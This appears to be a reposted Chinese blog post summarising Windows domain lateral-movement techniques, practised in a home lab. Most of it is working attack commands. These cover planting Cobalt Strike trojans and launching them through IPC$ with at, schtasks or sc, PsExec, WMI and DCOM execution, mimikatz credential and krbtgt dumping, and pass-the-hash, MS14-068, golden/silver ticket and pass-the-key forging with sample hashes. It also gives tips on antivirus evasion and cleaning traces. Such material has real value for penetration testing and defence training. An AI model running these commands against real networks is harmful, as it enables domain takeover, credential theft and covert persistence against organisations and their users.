内网渗透,横向移动总结(mimikatz域控)
目錄
前言
利用windows遠程連接命令
ipc連接
at命令
schtasks命令
(在2008及以后的系統中已經將at命令廢棄,改用schtasks命令代替了at命令)
利用windows服務
sc命令
利用psexec(隱蔽性查,易被發現)
利用psexec.exe工具(遠程命令行工具)
msf中的psexec
利用WMI(隱蔽性好。APT常用)
查詢進程信息(wmic)
遠程創建進程
wmiexec(滲透過程會比wmic和psexec更加方便)
impacket中的wmiexec.py
wmiexec.vbs
Invoke-WMIMethod(好用)
利用DCOM(域滲透)
調用MMC20.Application遠程執行命令
調用9BA05972-F6A8-11CF-A442-00A0C90A8F39
調用Excel.Application遠程執行命令
PTH(pass the hash)
PTT(pass the ticket)
MS14-068
利用mimikatz ptt
利用kekeo ptt
Golden ticket?
Sliver ticket
PTK(pass the key)?
后記
前言
通常我們在滲透過程中從外圍打點進入內網后拿到主機提升到system權限,這一臺主機就已經拿下。但是我們進入內網的目標還是拿下盡可能多的主機,這時候選擇橫向移動的方法就尤為重要。今天就對一些常用的橫向手法進行一個總結,有不足之處歡迎師傅們進行斧正。
本次實驗均在本地搭建靶場進行,靶場拓撲圖如下:
利用windows遠程連接命令
ipc連接
IPC$(Internet Process Connection) 是為了讓進程之間通信的一種“管道”,通過提供用戶名密碼建立了一條安全的、加密的、用于數據交換的通道。當然,還是在同一個時間,還是同樣的兩個IP,他們之間只能建立一個IPC$連接,腳踏多條船無論什么時候都是不可取的。通過這個連接,可以實現在被連接的目標機器上搞文件上傳、下載、命令執行……
關于IPC$+計劃任務的橫向,我們的目的非常明確:
(1)首先建立向目標主機的IPC$連接
(2)其次把命令執行的腳本傳到目標主機
(3)再次創建計劃任務在目標機器上執行命令腳本
(4)最后過河拆橋刪除IPC$連接
當然想要用IPC$來橫向是有條件的:
(1)目標機器沒有禁用IPC$連接,沒有什么防火防盜攔截IPC$,139 445 端口也開了(能走445走445,不能則走139)
(2)目標機器小管理員開了IPC$默認共享服務(邏輯盤、系統目錄;都不開我訪問個啥?)
(3)獲取了目標機器的小管理員的管理員權限的賬號密碼(最好是域管理員賬號密碼),明文的
(4)目標系統能支持IPC$,且和攻擊機能彼此互通(廢話)
本地命令可以copy,用CS beacon的可以upload,總之把自己寫的或者是工具生成的木馬搞到目標機器上
接下來創建windows計劃任務,自動執行木馬反彈連接到攻擊機器
值得注意的是,如何自動執行木馬,在windows中常用的就是計劃任務?at?和?schtasks,計劃任務在后文中會提到?
net use \\<IP>\ipc$ password /user:usernamenet use //查看當前主機所建立的連接這里提一個點,在多次滲透內網的過程中碰到了一個問題,那么就是這個命令輸入的時候到底需不需要加上引號,我的建議是最好加上引號,另外就是如果是在Cobalt Strike里面執行ipc命令進行連接的時候,密碼中如果有一些特殊的字符,需要進行轉義,否則可能會導致ipc連接不成功。
這樣我們就已經跟DC建立了IPC連接,這里嘗試使用一個dir命令列出DC目錄進行查看
dir \\192.168.52.138\c$?
?ipc連接還有一個常用的命令就是進行本地映射,如果在命令行里面查看目錄覺得很麻煩的話可以使用如下命令將已經建立IPC連接的主機的任意盤符映射到自己的本地。例如這里我將DC的c盤映射到我本地的z盤。
net use z: \\ip\c$ password /user:Administrator //把目標C盤映射到本地z盤(未建立ipc連接的情況下) net use z: \\ip\c$ //把目標C盤映射到本地z盤(已建立ipc連接的情況下)?
當然在最后我們滲透完成后需要清理痕跡,這里就會用到一條刪除ipc連接的命令
net use \\ip\ipc$at命令
at 命令是Windows自帶的用于創建計劃任務的命令,但是 at 命令只在2003及以下的版本使用。我們可以通過at命令通過跳板機在目標主機DC上創建計劃任務,讓計算機在指定的時間執行木馬程序,從而獲得對內網目標主機的控制。
at計劃命令在實戰中主要有兩個用處:一是在獲取webshell后不能夠執行系統命令的情況下可以用at命令將命令執行后寫入txt再用type讀取,二是利用at計劃任務命令上線cs或者msf
首先介紹第一個用處,這是我之前在實戰的過程中拿到了一個oa系統的shell,但是這里在webshell處不能夠執行命令,這時候就可以調用at命令調用cmd執行系統命令
使用at命令調用cmd.exe執行命令寫入result.txt
at \\192.168.52.141 16:40:00 cmd.exe /c "命令 > c:\result.txt"用type命令進行讀取
type \\192.168.52.141\c$\result.txt這里在演示第二個at命令的用處,利用at計劃任務上線cs或msf,這里我使用的是cs生成的exe
1.首先與主機建立ipc連接
?2.確定主機時間
net time \\ip3.使用cs生成木馬利用copy命令拷貝到主機上
copy <木馬在本機位置> \\<靶機ip>\c$注意在實戰過程中exe需要作免殺處理,否則如果對面主機有殺軟還沒有落地就已經被查殺了
4.使用at命令創建計劃任務
at \\<靶機ip> <啟動時間> <木馬在靶機的位置>注意這里理論上cs就已經上線了,但是因為這里我是在本地啟動cs生成的一個exe,2003這臺機器處于域環境里面且不出網,所以不能夠跟我物理機進行通信,所以這里就沒有截圖上線成功的圖。
5.刪除計劃任務
這里的1為創建計劃任務時候的IDat \\192.168.52.141 1 /delete
?
schtasks命令
(在2008及以后的系統中已經將at命令廢棄,改用schtasks命令代替了at命令)
在2008及以后的系統中已經將at命令廢棄,改用schtasks命令代替了at命令,原因是因為schtasks命令比at命令使用起來更加靈活。
這里使用schtasks命令計劃任務上線的思想跟at命令大同小異
1.與主機建立ipc連接
?
2.使用copy命令將exe復制到靶機里
copy C:\Users\liukaifeng01\Desktop\artifact.exe \\192.168.52.141\c$?
3.查看靶機時間
net time \\192.168.52.141?
4.使用schtasks創建名為cs的計劃任務
schtasks /create /TN cs /TR C:\artifact.exe /SC once /ST 17:32?
可以用如下schtasks命令查看創建的計劃任務
schtasks /query /TN cs這里同at命令一樣,在域環境里面就沒有截圖cs上線的圖。
5.刪除計劃任務
schtasks /delete /tn "cs"?
在使用schtasks命令時,會在系統中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt,如果執行schtasks命令后沒有回顯,可配合ipc$執行文件,使用type命令遠程查看執行結果
利用windows服務
利用windows服務進行橫向滲透主要是通過sc命令,但是注意這里跟之前windows遠程命令相比多了一個條件,即當前主機需要為administrator權限。
sc命令
sc命令是XP系統中功能強大的DOS命令,SC命令能與“服務控制器”和已安裝設備進行通訊。SC是用于與服務控制管理器和服務進行通信的命令行程序。
利用sc命令進行橫向滲透的大體流程如下:
1.與靶機建立ipc連接
2.拷貝exe到主機系統上
3.在靶機上創建一個shell的服務
sc \\WIN-M836NN6NU8B create shell binpath= "c:\artifact.exe"這里需要用cmd shell運行,否則會報錯
4.啟動shell服務
sc \\WIN-M836NN6NU8B start shell5.刪除創建的shell服務
sc \\[host] delete [servicename]利用psexec(隱蔽性查,易被發現)
利用psexec.exe工具(遠程命令行工具)
下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
psexec?是 windows 下非常好的一款遠程命令行工具。psexec的使用不需要對方主機開方3389端口,只需要對方開啟admin$共享 (該共享默認開啟)。但是,假如目標主機開啟了防火墻,psexec也是不能使用的,會提示找不到網絡路徑。由于psexec是Windows提供的工具,所以殺毒軟件將其列在白名單中。
psexec的基本原理:
- 通過ipc$連接admin$,釋放二進制文件psexecsvc.exe到目標
- 通過服務管理SCManager遠程創建一個psexec服務,并啟動服務
- 客戶端連接執行命令,服務端通過服務啟動相應的程序執行命令并回顯數據
- 運行結束后刪除服務
psexec的使用前提:
- 對方主機開啟了?admin$共享,如果關閉了admin$共享,會提示:找不到網絡名
- 對方未開啟防火墻
- 如果是工作組環境,則必須使用administrator用戶連接(因為要在目標主機上面創建并啟動服務),使用其他賬號(包括管理員組中的非administrator用戶)登錄都會提示訪問拒絕訪問。
- 如果是域環境,即可用普通域用戶連接也可以用域管理員用戶連接。連接普通域主機可以用普通域用戶,連接域控只能用域管理員賬戶。
使用如下命令:
- -accepteula:第一次運行psexec會彈出確認框,使用該參數就不會彈出確認框
- -u:用戶名
- -p:密碼
- -s:以system權限運行運程進程,獲得一個system權限的交互式shell。如果不使用該參數,會獲得一個連接所用用戶權限的shell
實例:?
PsExec64.exe -accepteula \\192.168.10.3 -u WIN-U8TRGT93CTR\administrator -p <password> -s cmd.exe這里也可以先建立ipc連接后直接調用PsExec64.exe調用cmd
net use \\192.168.10.3\ipc$ <password> /user:administratorPsExec64.exe -accepteula \\192.168.10.3 cmd.exe也可以直接執行命令(在建立ipc連接的基礎上)
PsExec64.exe -accepteula \\192.168.10.3 ipconfigmsf中的psexec
使用search psexec尋找psexec模塊如下圖所示
這里最常用的有以下模塊
exploit/windows/smb/psexecexploit/windows/smb/ms17_10_psexec這里說一下msf里面的這個psexec這個模塊跟powershell原生模塊的區別。我們知道powershell是在2008及以上的系統才有,在2008及以上的系統使用原生powershell免殺效果是要比msf里psexec生成的payload要好的。但是在2003及以下的版本是不自帶powershell的,那么在這種情況下我們就只能使用msf的psexec生成的exe進行橫向移動
這里唯一一點注意的就是msf的payload,需要用到反彈payload,即reverse_tcp
運行可以看到為system權限
psexec服務將會安裝在遠程系統中,此時將會生成 Event 4697、7045 這2種事件日志;有可能預生成Event 4624和Event 4652 Windows事件日志,日志會記錄下該工具的使用數據。
利用WMI(隱蔽性好。APT常用)
WMI,是Windows 2K/XP管理系統的核心;對于其他的Win32操作系統,WMI是一個有用的插件。WMI以CIMOM為基礎,CIMOM即公共信息模型對象管理器(Common Information Model Object Manager),是一個描述操作系統構成單元的對象數據庫,為MMC和腳本程序提供了一個訪問操作系統構成單元的公共接口。有了WMI,工具軟件和腳本程序訪問操作系統的不同部分時不需要使用不同的API;相反,操作系統的不同部分都可以插入WMI
由于剛剛提到的PsExec在內網中大殺四方后,很多安全廠商開始將PsExec加入了黑名單,所以攻擊者暴露的可能性陡然增加。但是根據研究情況來看,Windows操作系統默認不會將WMI的操作記錄到日志當中,而且因為采用的是無文件攻擊,所以導致WMI具有極高的隱蔽性。由此,越來越多的APT開始使用WMI進行攻擊,利用WMI可以進行信息收集、探測、反病毒、虛擬機檢測、命令執行、權限持久化等操作。
使用?wmic?遠程執行命令,在遠程系統中啟動?Windows Mannagement Instrumentation?服務(目標服務器需要開放 135 端口,wmic 會以管理員權限在遠程系統中執行命令)
查詢進程信息(wmic)
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process list brief遠程創建進程
wmic也可以用來調用cmd執行系統命令,跟at命令類似,wmic調用cmd的時候也是沒有回顯的,所以我們還是寫入txt用type命令進行查看
wmic /node:192.168.52.138 /user:administrator /password:qwe123!@# process call create "cmd.exe /c ipconfig > C:\result.txt"?使用type命令讀取寫入txt的結果如圖所示
wmiexec(滲透過程會比wmic和psexec更加方便)
wmiexec是windows自帶的wmic的加強版,在滲透過程中使用wmiexec會比wmic和psexec更加方便,這里就介紹幾種常用的wmiexec工具進行滲透。
impacket中的wmiexec.py
首先在github上下載impacket安裝包:https://github.com/SecureAuthCorp/impacket
使用命令
python wmiexec.py -hashes LM Hash:NT Hash 域名/用戶名@目標IP // 哈希傳遞獲得shell python wmiexec.py -hashes LM Hash:NT Hash 域名/用戶名@目標IP "ipconfig" // 執行命令注意:對于運行時間較長的命令,例如ping、systeminfo等,需要添加-wait 5000或更長時間的參數。
由于正常的命令都要查看結果,所以執行的命令后面都會加上重定向符,把結果輸出到文件中。所以wmiexec.vbs在運行nc反彈shell或者msf木馬木馬等不需要輸出結果但需要一直運行的程序時,因為木馬進程會一直存在,導致結果文件被占用,不能刪除,也不能改寫。出現這種情況后由于結果文件被占用,所以WMIEXEC不能工作,除非手動更改腳本中的結果文件名?;蛘呖梢杂胻askkill 遠程結束掉卡死的進程,然后WMIEXEC可以恢復工作。為了解決這個問題,加入了“-persist” 選項。
當命令加了“-persist” 選項后,程序會在后臺運行,不會有結果輸出,而且會返回這個命令進程的PID,方便結束進程。
wmiexec.vbs
wmiexec.vbs?可以在遠程系統中執行命令并進行回顯,獲得遠程主機的半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.10.3 administrator <password>輸入如下命令,使用?wmiexec.vbs?在遠程主機上執行單條命令
cscript.exe //nologo wmiexec.vbs /cmd 192.168.10.3 administrator <password> "命令"Invoke-WMIMethod(好用)
利用?PowerShell?自帶的?Invoke-WMIMethod,可以在遠程系統主機上執行命令和指定程序
#目標系統用戶名 $User = "WIN-U8TRGT93CTR\administrator" #目標系統密碼 $Password= ConvertTo-SecureString -String "qwe123!@#" -AsPlainText -Force #賬號密碼整合,導入Credential $Cred = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $User , $Password #遠程運行計算器程序 Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.10.3" -Credential $Cred這時候靶機進程就會出現calc.exe?
利用DCOM(域滲透)
此部分主要參考了三好學生大佬的文章:域滲透-利用DCOM在遠程系統執行程序,在此對三好學生大佬表示衷心感謝。
這里先提兩個概念,COM和DCOM
COM即組件對象模型(Component Object Model,COM) ,是基于 Windows 平臺的一套組件對象接口標準,由一組構造規范和組件對象庫組成。COM是許多微軟產品和技術,如Windows媒體播放器和Windows Server的基礎。一般的對象是由數據成員和作用在其上的方法組成,而組件對象和一般對象雖有相似性,但又有較大不同。組件對象不使用方法而用接口來描述自身。接口被定義為“在對象上實現的一組語義上相關的功能”,其實質是一組函數指針表,每個指針必須初始化指向某個具體的函數體,一個組件對象實現的接口數量沒有限制。
關于這個COM,其實應該有很多師傅見過,那就是在windows情況下php為數不多的幾種disable_functions的方法之一,就是利用windows的COM組件進行繞過,這里我就不往深處拓展了
DCOM(分布式組件對象模型)是微軟基于組件對象模型(COM)的一系列概念和程序接口,它支持不同的兩臺機器上的組件間的通信,不論它們是運行在局域網、廣域網、還是Internet上。利用這個接口,客戶端程序對象能夠向網絡中另一臺計算機上的服務器程序對象發送請求。DCOM是COM(組件對象模型)的擴展,它允許應用程序實例化和訪問遠程計算機上COM對象的屬性和方法。DCOM 使用遠程過程調用(RPC)技術將組件對象模型(COM)的功能擴展到本地計算機之外,因此,在遠程系統上托管COM服務器端的軟件(通常在DLL或exe中)可以通過RPC向客戶端公開其方法。
攻擊者可使用?DCOM?進行橫向移動,通過?DCOM,攻擊者可在擁有適當權限的情況下通過 Office 應用程序以及包含不安全方法的其他 Windows 對象遠程執行命令。
使用DCOM進行橫向移動的優勢之一在于,在遠程主機上執行的進程將會是托管COM服務器端的軟件。例如我們濫用ShellBrowserWindow COM對象,那么就會在遠程主機的現有explorer.exe進程中執行。對攻擊者而言,這無疑能夠增強隱蔽性,由于有大量程序都會向DCOM公開方法,因此防御者可能難以全面監測所有程序的執行。
這里利用DCOM進行橫向移動有兩個條件:
1.能關閉靶機防火墻2.擁有cmdshell、靶機需要使用administrator賬戶DCOM進行橫向移動的操作如下:
1.與靶機建立ipc連接
2.cs生成木馬使用copy命令上傳到靶機
3.調用DCOM遠程執行命令
調用MMC20.Application遠程執行命令
通過PowerShell與DCOM進行遠程交互,此外,我們只需要提供一個DCOM ProgID和一個IP地址,然后,它就從遠程返回一個COM對象的實例。
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.52.138)) $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c c:\shell.exe","Minimized")執行以上命令我們就可以調用ExecuteShellCommand方法在遠程主機上啟動進程
調用9BA05972-F6A8-11CF-A442-00A0C90A8F39
通過調用9BA05972-F6A8-11CF-A442-00A0C90A8F39來執行exe文件
$com = [Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.52.138") $obj = [System.Activator]::CreateInstance($com) $item = $obj.item() $item.Document.Application.ShellExecute("cmd.exe","/c c:\shell.exe","c:\windows\system32",$null,0)調用Excel.Application遠程執行命令
# 通過PowerShell與DCOM進行遠程交互,創建Excel.Application對象的實例: $com = [activator]::CreateInstance([type]::GetTypeFromprogID("Excel.Application","192.168.52.138")) $com.DisplayAlerts = $false # 然后執行如下命令,我們就可以調用該對象的"DDEInitiate"方法在遠程主機上啟動進程 $com.DDEInitiate("cmd.exe","/c C:\shell.exe")這里就不再列舉其他方法了,這一部分因為知識儲備的問題很多都是借鑒大佬們的思想,這里WHOAMI大佬介紹的DCOM橫向移動十分詳細,師傅們請移步:
如何利用 DCOM 進行內網橫向滲透
PTH(pass the hash)
pass-the-hash在內網滲透中是一種很經典的攻擊方式,原理就是攻擊者可以直接通過LM Hash和NTLM Hash訪問遠程主機或服務,而不用提供明文密碼。
pass the hash原理:
- 在Windows系統中,通常會使用NTLM身份認證
- NTLM認證不使用明文口令,而是使用口令加密后的hash值,hash值由系統API生成(例如LsaLogonUser)
- hash分為LM hash和NT hash,如果密碼長度大于15,那么無法生成LM hash。從Windows Vista和Windows Server 2008開始,微軟默認禁用LM hash
- 如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該用戶(即跳過調用API生成hash的過程)
這類攻擊適用于:
- 域/工作組環境
- 可以獲得hash,但是條件不允許對hash爆破
- 內網中存在和當前機器相同的密碼
微軟也對pth打過補丁,然而在測試中發現,在打了補丁后,常規的Pass The Hash已經無法成功,唯獨默認的Administrator(SID 500)賬號例外,利用這個賬號仍可以進行Pass The Hash遠程ipc連接。
如果禁用了ntlm認證,PsExec無法利用獲得的ntlm hash進行遠程連接,但是使用mimikatz還是可以攻擊成功。
從windows到windows橫向pth這一類攻擊方法比較廣泛。
首先使用mimikatz抓取域管hash,注意mimikatz在抓取到hash之后是不能夠直接復制的,所以我們這里選擇用log參數將抓取到的hash輸出為txt
mimikatz log privilege::debug sekurlsa::logonpasswords使用mimikatz?hash傳遞
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:ea7937eec9ab52e6cc9528a2011ca1d8PTT(pass the ticket)
PTH部分基于NTLM認證進行攻擊,而PTT基于kerberos協議進行攻擊
PTT中最常見的三種攻擊方式為:MS14-068、黃金票據、白銀票據
MS14-068
MS14-068是密鑰分發中心(KDC)服務中的Windows漏洞。它允許經過身份驗證的用戶在其Kerberos票證(TGT)中插入任意PAC(表示所有用戶權限的結構)。該漏洞位于kdcsvc.dll域控制器的密鑰分發中心(KDC)中。用戶可以通過呈現具有改變的PAC的Kerberos TGT來獲得票證。
MS14-068對應的補丁為KB3011780,接下來說一下MS14-068的利用過程
利用mimikatz ptt
1.獲取普通域成員的SID
2.生成TGT票據
ms14-068.exe -u 域成員名@域名 -s 域成員sid -d 域控制器地址 -p 域成員密碼 MS14-068.exe -u mars2@Drunkmars.com -s S-1-5-21-652679085-3170934373-4288938398-1107 -d 192.168.10.5 -p <password>在同目錄下生成了.ccache文件
3.票據注入
使用mimikatz將票據注入到當前內存中,偽造憑證,如果成功則擁有域管理權限,可任意訪問域中所有機器
通過mimikatz進行票據注入
mimikatz # kerberos::purge //清空當前機器中所有憑證,如果有域成員憑證會影響憑證偽造 mimikatz # kerberos::list //查看當前機器憑證 mimikatz # kerberos::ptc 票據文件 //將票據注入到內存中?
4.klist查看緩存票據?
5.建立ipc連接
可以看到我們這里已經提升到dc權限,這里需要注意一個問題,如果要使用psexec或者wmi進行遠程執行命令的操作,這里的ip就要換成主機名字,否則無法登錄成功
利用kekeo ptt
這里使用到不用管理員權限進行ptt,使用到kekeo
1.生成票據
kekeo "tgt::ask /user:mars2 /domain:Drunkmars.com /ntlm:ea7937eec9ab52e6cc9528a2011ca1d82.導入票據
kerberos::ptt TGT_mars2@DRUNKMARS.COM_krbtgt~Drunkmars.com@DRUNKMARS.COM.kirbi3.查看票據并訪問域控
Golden ticket?
?Golden ticket的作用是可以生成任意用戶的tgt,那么問題就來了,是什么條件能夠讓他生成任意用戶的tgt呢?還得要看kerberos認證的過程,在windows認證過程中,客戶端將自己的信息發送給KDC,然后KDC使用krbtgt用戶密碼的hash作為密鑰進行加密,生成TGT。
那么如果獲取到了krbtgt的密碼hash值,就可以偽造任意tgt了。因為krbtgt只有域控制器上面才有,所以使用黃金憑據意味著你之前拿到過域控制器的權限,黃金憑據可以理解為一個后門
偽造黃金憑據需要具備下面條件:
- krbtgt用戶的hash(就意味著你已經有域控制器權限了)
- 域名稱
- 域的SID值
- 要偽造的用戶名
先登錄域控制器,dump krbtgt用戶的hash值,獲取域sid
privilege::debug lsadump::lsa /patch登錄普通域用戶生成TGT憑證?
kerberos::golden /user:administrator /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-1107 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /ticket:gold.kirbi注入黃金票據并訪問域控?
kerberos::ptt gold.kirbi如果開啟rpc服務則可以用winexec.vbs直接連接,這里我的域控沒有開啟rpc服務,所以這里連接沒有成功
Sliver ticket
Sliver ticket和golden ticket不同的是,它不需要和域控制器進行通信,原理是偽造TGS,使用的是計算機賬戶的hash進行加密的,所以只能訪問指定的權限。
不像是Golden ticket,是由krgtgt用戶的密碼hash進行加密,偽造tgt可以獲取到所有權限。
白銀票據這里只是對單一的服務進行授權,利用過程和golden ticket差不多,首先上域控制器中,把機器的ntlm hash(rc4加密) dump下來,然后在普通域用戶機器進行偽造權限,進行ptt。
登錄DC,抓取ntlm hash
mimikatz log privilege::debug sekurlsa::logonpasswords在普通域用戶中生成票據
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt查看票證訪問域控
PTK(pass the key)?
在連接配置的時候允許使用hash進行認證,而不是只有賬號密碼才能認證。
就是由于在進行認證的時候,是用用戶hash加密時間戳,即使在使用密碼進行登錄的情況下,也是先把密碼加密成hash,再進行認證。因此在只有用戶hash,沒有明文密碼的情況下也是可以進行認證的。不管是rubeus還是impacket里面的相關腳本都是支持直接使用hash進行認證。其中,如果hash的ntlm hash,然后加密方式是rc4,這種就算做是pass the hash,如果是hash是aes key(使用sekurlsa::ekeys導出來),就算是pass the key。在很多地方,不支持rc4加密方式的時候,使用pass the key不失為一種好方法。
獲取aes key
mimikatz log privilege::debug sekurlsa::ekeys注入aes key
mimikatz "privilege::debug" "sekurlsa::pth /user:mars2 /domain:Drunkmars.com /aes256:a207497d6c9df363b6658271ac0df1862c395d6b32003a5207dde3803f7dae0d"后記
作為一個安全小白,能夠總結出來的橫向移動的方法也很局限,很多知識都是借鑒了大佬們的思想,等于說是站在巨人的肩膀上才總結出了這篇文章,在這里對提供思路的大佬們表示衷心的感謝。在實如果文章中有什么勘誤,還請師傅們斧正。
總結
以上是生活随笔為你收集整理的内网渗透,横向移动总结(mimikatz域控)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: ModuleNotFoundError:
- 下一篇: SSLScan工具 获取SSL信息